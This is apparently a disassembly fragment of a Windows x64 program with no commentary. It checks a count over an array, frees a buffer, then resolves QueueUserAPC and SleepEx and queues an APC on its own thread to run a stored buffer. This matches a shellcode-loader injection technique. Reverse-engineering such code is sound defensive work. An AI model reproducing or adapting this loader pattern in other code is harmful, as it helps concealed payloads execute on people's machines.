movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x650]
add rdx, rax
mov eax, dword [rbp + 0x7cc]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x1400029bf
add dword [rbp + 0x7d4], 1
add dword [rbp + 0x7cc], 1
cmp dword [rbp + 0x7cc], 0xa
jle 0x14000297f
add dword [rbp + 0x7d0], 1
cmp dword [rbp + 0x7d0], 0x56
jle 0x140002973
cmp dword [rbp + 0x7d4], 0x1de
je 0x1400029f5
mov dword [rbp + 0x64c], 0
mov rax, qword [rbp + 0x650]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x670]
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x7b8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x7b8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x630], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x640]
mov r9, qword [rbp + 0x638]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x630]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x8c8
pop rbx
pop rsi
pop rdi
pop rbp
ret